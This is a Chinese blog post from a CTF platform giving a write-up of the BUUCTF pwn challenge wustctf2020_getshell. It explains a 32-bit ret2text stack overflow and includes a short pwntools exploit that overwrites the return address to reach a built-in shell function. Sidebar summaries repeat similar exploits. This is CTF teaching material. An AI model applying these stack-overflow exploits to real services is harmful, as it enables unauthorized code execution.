BUUCTF-wustctf2020_getshell1

Rt1Text Rt1Text 博客等级 墨衍会员 · AI 创作全网分发 墨衍智能分发 本文由作者通过墨衍一键同步至各平台 1分发平台 700+累计阅读 794平均单平台 已同步平台 优快云 微信公众号 微博 知乎 掘金 百家号 博客园 抖音 小红书 你的文章也可以这样分发 墨衍会员 ¥399起/年，写一次发全网 我也要 码龄5年
关注
原创 最新推荐文章于 2026-08-17 18:22:49 发布 794 阅读 AI 写同款· GEO 优化 ›
wustctf2020_getshell wustctf2020_getshell 使用checksec查看： 只开启了一个栈不可执行，没开Canary，考虑栈溢出题目。 拉进IDA中查看： 主函数中直接给漏洞函数，跟进： read()函数，能读取0x20的数据，buf距离ebp0x18，因为这是个32位的程序，ebp+4后还能放下一个one_gadget 首先考虑下这个程序本身有没有get_shell的函数，通过搜索字符串可以发现函数shell()： ok了，这题直接秒了。 exp： from pwn import * #start 阅读详情

checksec

 

IDA

 

 

这题没有什么过多解释的,就是一道简单的ret2text,有shell的地址

应该是太简单了做的人少就放在了BUUCTF的第二页,按照顺序做的,也就写上了 

 

EXP

from pwn import*

r=remote('node4.buuoj.cn',27245)

shell_addr=0x804851B

payload='a'*(0x18+4)+p32(shell_addr)

r.sendline(payload)

r.interactive()

收录于
BUUCTF

当前文章被收录于：

BUUCTF
34 篇文章 1 人学习
订阅专栏 查看详情
标签
#pwn #安全 #linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
BUUCTF wustctf2020_getshell pwn新手小白，写完题后整理的一点点思路，有借鉴其他wp，有任何问题各位师傅可以提出，接收批评指正 阅读详情

相关推荐

CS224W图神经网络实战：如何用Motifs和Graphlets分析社交网络结构？

本文基于斯坦福CS224W课程，深入探讨了如何利用网络模体（Motifs）和图元（Graphlets）分析社交网络的微观结构。通过实战代码演示，文章介绍了如何识别具有统计显著性的关键连接模式，计算节点的图元度向量以刻画局部拓扑特征，并将这些结构洞见应用于社区发现、影响力分析及图神经网络的节点特征工程，从而提升模型在虚假账号检测等任务中的性能。

2w3e4r5t6y的博客 911

BUUCTF】wustctf2020_getshell 1（自留用）

（注意：nc node5.buuoj.cn 25369即nc+地址+端口号）（有的新版本需要格式【checksec --file=文件名】查看）{具体保护权限可以搜索关键词“pwn基础保护”或相关的文（引用致歉）在CTFOS里需要【pwn checksec --file=文件名】（有的版本终端直接输入【checksec+文件名】就可以查看）（有疑问可以问AI“pwn题目里为什么要寻找shell函数”）有疑问可以问AI“pwn题目里为什么要寻找main函数”输入【wget (空格) 复制的链接】

2302_79275647的博客 980

Python3.8下MvCameraControl.dll加载失败？3种方法彻底解决FileNotFoundError

本文针对Python3.8及以上版本在Windows平台调用MvCameraControl.dll时出现的FileNotFoundError问题，深入剖析了其根源在于Python 3.8引入的DLL加载安全机制变更。文章提供了三种核心解决方案：显式指定DLL完整路径、使用os.add_dll_directory()添加可信目录，以及利用ctypes的winmode参数进行精细控制，并给出了工程化封装建议，帮助开发者彻底解决此兼容性问题。

weixin_29093017的博客 191

[WUSTCTF 2020]getshell

发现后门函数 shell，并且在vuin函数存在栈溢出。file 和checksec 检查文件。一道简单的ret2text。

沈理大学牲的博客 383

[Multisim][模电实验]简易函数信号发生器的设计与实现_北京邮电大学2019级信通院电子电路实验下

本文记述了笔者设计并实现以±12V供电电压输出1KHZ~10KHZ频率连续可调的方波、三角波和正弦波的过程。其中，方波输出电压峰峰值为12V（误差<20%），占空比可调、三角波输出电压峰峰值为8V（±20%），正弦波输出电压峰峰值≥1V。

lgc0208的博客 4万+

WPS制作甘特图实操(带图超详细)

一、数据准备 图1 二、添加公式 在表格的E3处添加公式:=IF(C3>=G3,0,IF(C3+D3>=G3,G3-C3,D3))，点击该单元格的右下角。使鼠标箭头变“+”后下拉拖拽，复制该公式。F3处的公式为:=D3-E3,使用相同的拖拽方式复制公式应用，操作完毕如下图3. 图2 图3 三、插入图表 1、选中方框1内容，按住ctrl按键，继续选择2、3列的内容，点击插入全部图表中的条形图，选择2对应的图标样式，生成图6的样式。 点击图6中的3标尺，右击选择数据弹出图8，点击+号选择表格中

m0_49047167的博客 3万+

[BUUCTF]PWN——wustctf2020_getshell1/2

wustctf2020_getshell 附件 步骤： 例行检查，32位程序，开启了NX保护 本地试运行一下程序，看看大概的情况 32位ida载入，习惯性的检索程序里的字符串，发现了后门函数 shell_addr=0x804851B main函数开始看程序 vulnerable函数 buf参数存在溢出漏洞，正好溢出8位，让我们覆盖到ret exp： from pwn import* r=remote('node3.buuoj.cn',29690) shell_addr=0x804851B

mcmuyanga的博客 1969

CS5523实战：如何用国产芯片完美替代LT8911设计MIPI转eDP电路（附原理图）

本文详细介绍了使用国产芯片CS5523完美替代LT8911进行MIPI转eDP电路设计的实战经验。文章从芯片选型、核心特性对比入手，深入剖析了电源时钟设计、MIPI/eDP接口的PCB布局与信号完整性要点，并提供了完整的原理图参考和调试排错指南，为硬件工程师实现国产化替代提供了清晰可行的方案。

yhn4567890的博客 1140

[BUUCTF-pwn]——wustctf2020_getshell_2

[BUUCTF-pwn]——wustctf2020_getshell_2 有system没有sh。所以找一下 exploit from pwn import * p = remote('node3.buuoj.cn',25464) sh = 0x08048670 payload = 'a' * (0x18 + 4) + p32(0x08048529) + p32(sh) p.sendline(payload) p.interactive()

Y_peak的博客 609

UNet 改进(22)：结合Transformer结构

保留了UNet的经典编码器-解码器结构在瓶颈层使用Transformer替代传统的卷积层采用跳跃连接保持空间细节信息使用双卷积块(DoubleConv)作为基础构建模块。

2401_82355416的博客 774

华为OD机试2025A卷 - 用户调度问题（Java & Python& JS & C++ & C ）

题目要求每个用户依次选择当前所能选择的最小资源消耗策略，并且若有多个策略的资源消耗相同，则选择最后一个策略。每个用户的选择是独立的，只考虑该用户的策略和相邻用户的约束，不考虑整个调度序列的全局资源消耗。每个用户根据自己的当前状态（即自己的三种选择的资源消耗）做出局部最优选择：在当前可选的策略中，选择消耗最小的那个。如果有多个最小值，则选择最后一个（根据题意）。这一选择是局部的最优，即在当下最有利的选择，但并不保证最终的整体系统资源消耗是最小的。

算法大师！ 1万+

[buuctf]wustctf2020_getshell

[buuctf]wustctf2020_getshell

逆向萌新的博客 946

OpenStack详解、排错、经验总结

第1章 Openstack简介 1.1 计算（Compute）：Nova。 一套控制器，用于为单个用户或使用群组管理虚拟机实例的整个生命周期，根据用户需求来提供虚拟服务。负责虚拟机创建、开机、关机、挂起、暂停、调整、迁移、重启、销毁等操作，配置CPU、内存等信息规格。自Austin版本集成到项目中。 1.2 对象存储（Object Storage）：Swift。 一套用于在大规模可扩展系统中通过内置冗余及高容错机制实现对象存储的系统，允许进行存储或者检索文件。可为Glance提供镜像存储，为Cinder提供

weixin_40548182的博客 1974

[buuctf]wustctf2020_getshell_2

[buuctf]wustctf2020_getshell_2

逆向萌新的博客 629

VC中sqlite的使用

在VC中对sqlite的使用，实现数据库大批数据的快速插入，读取数据库中的数据在ListCtrl中显示

老版QQ原生表情gif动态

这是老版的QQ表情，不过全是动态的的，Windows照片查看器是不会动的，可以右击用浏览器打开查看，再说一遍是老版的，只是分享给宁愿用老版也要动态的人。

[BUUCTF]PWN——wustctf2020_getshell

wustctf2020_getshell 例行检查 ，开启NX保护，32位， 运行一下，打印出一个图形。 用IDA打开。看到了关键函数。 shelladdr=0x804851B 查看主函数，buf的长度为0x18，读取的长度为0x20，可以造成溢出。 from pwn import* r=remote('node3.buuoj.cn',28128) shelladdr=0x804851B payload='a'*(0x18+4)+p32(shelladdr) r.sendline(payl

BangSen1的博客 422

android 蓝牙通讯demo

android 下蓝牙通讯demo，实现了发现蓝牙，使能蓝牙，通过蓝牙发送消息。

buuctf中的wustctf2020_getshell(栈溢出)

buf到栈底的距离为0x18个字节，但是这里read却读入了0x20个字节的数据，存在栈溢出漏洞，顺便算出偏移为0x18 + 0x4。发现vulnerable函数和shell函数，分别点进去。顺便拿到shell地址0x804851B。最后手动输入cat flag拿到flag。执行shell函数即可拿到shell。-仅开启了栈不可执行保护。

2301_79485835的博客 523

文档：亲测可用解决vnc灰屏，黑屏，鼠标大黑叉情况

主要解决vnc-viewer灰屏，黑屏，鼠标大黑叉等现象，详细见文档。

buuctf wustctf2020_getshell_2 ret2shellcode

BUUCTF wustctf2020_getshell_2 check一下，32位的程序且没有开任何保护 用ida打开，vuln很明显这是一个漏洞函数，f5查看一下伪代码，可以看到buf距离栈底0x18个字节 这是shell函数的伪代码，我们可以看到虽然这个并不是我们想要的shell(不是/bin/sh),但是程序里面有sh的字符串可以供我们利用，那我们现在就查找一下"sh"所在的位置 $ ROPgadget --binary '/home/pwn/Desktop/wustctf2020_getshe

weixin_45441024的博客 846

[BUUCTF-pwn]——wustctf2020_getshell

[BUUCTF-pwn]——wustctf2020_getshell 额，太简单了直接上exploit吧 直接利用栈溢出，修改返回地址就好 from pwn import * p = remote('node3.buuoj.cn',28241) payload = 'a' * (0x18+4) + p32(0x0804851B) p.send(payload) p.interactive()

Y_peak的博客 289

BUUCTF pwn——wustctf2020_getshell_2

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 344

BUUCTF pwn——wustctf2020_getshell

BUUCTF 做题练习

CNS-Enterprise BCC-1701-J 261

buuctf-pwn wustctf2020_getshell_2题解（学习过程持续更新）

该文记录了自学pwn题的过程，通过checksec分析32位程序的NX保护机制，使用IDA发现read函数存在栈溢出漏洞。由于溢出空间不足无法直接调用system@plt，转而利用程序内部的call_system函数（地址0x8048529）和"sh"字符串（地址0x8048670）构造ROP攻击链。最终编写exp脚本成功获取flag，演示了绕过NX保护的ROP技术应用。文章以非专业视角分享学习心得，欢迎指正不足之处。

2501_93570847的博客 421

buuctf pwn 部分exp（无解析，持续更新）

【代码】buuctf pwn 部分exp（无解析，持续更新）

orange_cat__的博客 415

WUST-CTF2020-WP

目录WEBcheckinadminCV Makereasywebtrain yourself to be godlyMISCSpace ClubWelcomeAlison likes jojoShopgirlfriend小结 WEB checkin 打开页面显示Who’s the author?，回到题目发现作者是52HeRtz，输入52HeRtz发现有截断，f12选中输入框把maxlength改...

夏日 の blog 6030

buuctf-web-[SUCTF 2018]GetShell1

利用的是UTF-8编码的某个汉字，并将其中某个字符取出来，比如'和'{2}的结果是"\x8c"，其取反即为字母s。没写禁止哪些参数，fuzz一下。查看上传上去的文件，发现可解析。不用多说，文件上传，打开环境。只有一个主界面和文件上传界面。使用的是位运算里的“取反”。修改文件内容为以上代码。构造payload为。

mlws1900的博客 650
上一篇： BUUCTF-jarvisoj_level4
下一篇： BUUCTF-bjdctf_2020_router-WP
点赞 0
评论 0
书签 书签 0
Rt1Text
Rt1Text
博客等级 码龄5年 14粉丝 53原创
+ 关注 专栏目录 订阅专栏
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
表情包 插入表情
表情包 代码片
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值